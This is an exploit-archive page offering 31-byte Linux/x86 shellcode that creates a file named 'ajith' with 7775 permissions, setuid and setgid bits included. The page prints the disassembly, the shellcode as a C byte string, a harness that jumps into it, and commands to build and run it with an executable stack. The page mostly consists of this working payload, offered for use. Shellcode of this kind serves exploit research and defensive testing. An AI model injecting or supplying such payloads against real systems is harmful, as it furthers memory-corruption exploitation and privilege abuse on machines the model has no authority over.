what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Linux/x86 Create File With 7775 Permissions Shellcode

Linux/x86 Create File With 7775 Permissions Shellcode
Posted Sep 8, 2015
Authored by Ajith KP

31 bytes small Linux/x86 shellcode that creates a file with 7775 permissions.

tags | x86, shellcode
systems | linux
SHA-256 | 4a3058b5f7477a6e984f0c3f476c9405bb5d7af3103b0b1f76a97bd69e6443c0

Linux/x86 Create File With 7775 Permissions Shellcode

Change Mirror Download
/*
---------------------------------------------------------------------------------------------------

Linux/x86 - Create file with permission 7775 and exit - 31 bytes

Ajith Kp [ @ajithkp560 ] [ http://www.terminalcoders.blogspot.com ]

Om Asato Maa Sad-Gamaya |
Tamaso Maa Jyotir-Gamaya |
Mrtyor-Maa Amrtam Gamaya |
Om Shaantih Shaantih Shaantih |

---------------------------------------------------------------------------------------------------
Disassembly of section .text:

08048060 <.text>:
8048060: eb 12 jmp 0x8048074
8048062: 5b pop %ebx
8048063: 31 c0 xor %eax,%eax
8048065: 88 43 05 mov %al,0x5(%ebx)
8048068: b0 08 mov $0x8,%al
804806a: b1 ff mov $0xff,%cl
804806c: b5 ff mov $0xff,%ch
804806e: cd 80 int $0x80
8048070: b0 01 mov $0x1,%al
8048072: cd 80 int $0x80
8048074: e8 e9 ff ff ff call 0x8048062
8048079: 61 popa
804807a: 6a 69 push $0x69
804807c: 74 68 je 0x80480e6
804807e: 23 .byte 0x23
---------------------------------------------------------------------------------------------------

How To Run

$ gcc -o create_file create_file.c
$ execstack -s create_file
$ ./create_file

---------------------------------------------------------------------------------------------------
*/
#include <stdio.h>
char sh[]="\xeb\x12\x5b\x31\xc0\x88\x43\x05\xb0\x08\xb1\xff\xb5\xff\xcd\x80\xb0\x01\xcd\x80\xe8\xe9\xff\xff\xff\x61\x6a\x69\x74\x68\x23";
// It will create file named 'ajith' with permission 7775
void main(int argc, char **argv)
{
int (*func)();
func = (int (*)()) sh;
(int)(*func)();
}
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close